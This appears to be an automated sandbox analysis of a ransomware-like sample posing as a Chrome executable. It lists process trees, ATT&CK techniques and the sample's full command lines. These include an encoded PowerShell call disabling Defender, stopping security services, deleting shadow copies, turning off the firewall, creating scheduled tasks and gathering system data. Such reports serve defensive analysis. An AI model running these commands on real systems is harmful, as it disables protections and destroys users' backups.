PID 4440 wrote to memory of 3268	4440	xoilactv.social_chrome.exe	123
PID 4440 wrote to memory of 616	4440	xoilactv.social_chrome.exe	125
PID 4440 wrote to memory of 2220	4440	xoilactv.social_chrome.exe	132
PID 4440 wrote to memory of 5632	4440	xoilactv.social_chrome.exe	133
PID 4440 wrote to memory of 352	4440	xoilactv.social_chrome.exe	135
PID 4180 wrote to memory of 4188	4180	chrome.exe	139
PID 4180 wrote to memory of 2716	4180	chrome.exe	140
PID 4180 wrote to memory of 1112	4180	chrome.exe	141
PID 4180 wrote to memory of 2716	4180	chrome.exe	140
PID 4180 wrote to memory of 1112	4180	chrome.exe	141
PID 4180 wrote to memory of 4892	4180	chrome.exe	142
PID 4180 wrote to memory of 4892	4180	chrome.exe	142
PID 4180 wrote to memory of 332	4180	chrome.exe	143
PID 4180 wrote to memory of 332	4180	chrome.exe	143
PID 4440 wrote to memory of 708	4440	xoilactv.social_chrome.exe	144
PID 4180 wrote to memory of 2200	4180	chrome.exe	146
PID 4180 wrote to memory of 2200	4180	chrome.exe	146
PID 4180 wrote to memory of 6116	4180	chrome.exe	147
PID 4180 wrote to memory of 6116	4180	chrome.exe	147
PID 4440 wrote to memory of 3344	4440	xoilactv.social_chrome.exe	148
PID 4440 wrote to memory of 3220	4440	xoilactv.social_chrome.exe	150
PID 4440 wrote to memory of 5956	4440	xoilactv.social_chrome.exe	151
PID 4440 wrote to memory of 5644	4440	xoilactv.social_chrome.exe	152
PID 4440 wrote to memory of 5588	4440	xoilactv.social_chrome.exe	153
PID 4440 wrote to memory of 3928	4440	xoilactv.social_chrome.exe	154
PID 4440 wrote to memory of 1852	4440	xoilactv.social_chrome.exe	155
PID 4440 wrote to memory of 2784	4440	xoilactv.social_chrome.exe	158
PID 4440 wrote to memory of 2372	4440	xoilactv.social_chrome.exe	164
PID 4440 wrote to memory of 388	4440	xoilactv.social_chrome.exe	165
PID 4440 wrote to memory of 6104	4440	xoilactv.social_chrome.exe	166
PID 4440 wrote to memory of 312	4440	xoilactv.social_chrome.exe	167
PID 4440 wrote to memory of 396	4440	xoilactv.social_chrome.exe	168
PID 4440 wrote to memory of 4884	4440	xoilactv.social_chrome.exe	169
PID 4440 wrote to memory of 3300	4440	xoilactv.social_chrome.exe	170
PID 5644 wrote to memory of 1248	5644	cmd.exe	177
PID 5956 wrote to memory of 1452	5956	cmd.exe	178

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://xoilactv.social
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fffeec7c728,0x7fffeec7c734,0x7fffeec7c740
    3⤵
    PID:5068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1620,i,907012391628557414,15450677709771109074,262144 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:4524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,3188151981105961420,14009322105409029485,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2296,i,14089610198574153373,8756557763518186048,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:13
    3⤵
    PID:4688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,1945348313702884334,3529609232014634123,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    PID:276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3176,i,5580615287396373828,13106076715541062847,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
    3⤵
    PID:352
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4600,i,15743144973535828917,347755351390573415,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=4588 /prefetch:14
    3⤵
    PID:1748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4872,i,17198248973342343107,9775386170507761333,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:1
    3⤵
    PID:4928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,16500394654933803388,5037567026993149233,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:14
    3⤵
    PID:4188
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5476,i,5102736606196558564,220646985594707253,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:2716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5488,i,1615909570160888889,16679712524562358706,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:1
    3⤵
    PID:1112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5468,i,5845172861631714079,9278303013865018636,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:1
    3⤵
    PID:4892
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5480,i,1394717499872315166,16196039960839366177,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:1
    3⤵
    PID:332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6100,i,11859646852432388848,25260686477880211,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:1
    3⤵
    PID:2200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6200,i,17745512051619467284,11474169140827813197,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:1
    3⤵
    PID:6116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5456,i,5853647198742400590,16812976057834228845,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:1
    3⤵
    PID:2532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5464,i,6718814192294953910,3528227673756606583,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
    3⤵
    PID:696
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5624,i,5998370891808994324,10173947256372627247,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:1
    3⤵
    PID:4988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4892,i,8071969982886783239,2767193309625729333,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
    3⤵
    PID:2508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6276,i,80690400706035981,4378353195227072441,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:14
    3⤵
    PID:4192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5400,i,3740014782647541020,4272814715148707843,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=4932 /prefetch:1
    3⤵
    PID:1824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4924,i,17833670627934526690,2759831943515586583,2097152 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=4928 /prefetch:9
    3⤵
    PID:4220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6688,i,4996683756593039683,8574688963474379335,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:14
    3⤵
    PID:5948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5028,i,6226993575879358953,4254516724315759438,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=6624 /prefetch:14
    3⤵
    PID:1276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6576,i,8065777523718111006,4915991903541072361,524288 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=6660 /prefetch:14
    3⤵
    PID:5528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6128,i,3176468401059032839,3366878962376901592,262144 --field-trial-handle=1904,i,17224979006872860415,16141675726399853657,262144 --variations-seed-version --mojo-platform-channel-handle=896 /prefetch:10
    3⤵
    PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5612
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2372
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4856
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5768
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2420
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4908
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe"
    3⤵
    PID:3012
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2636
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3268
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:616
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2220
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5632
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:352
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  PID:3344
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3940
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  PID:3220
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5956
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1452
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5644
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1248
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  PID:5588
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:5816
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2152
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  PID:3928
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4956
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  PID:1852
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:300
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2784
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2372
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:388
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6104
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:312
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3544
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3300

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5176

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1584

C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe
1⤵
PID:3020

C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv.social_chrome.exe
1⤵
PID:4780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3660

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery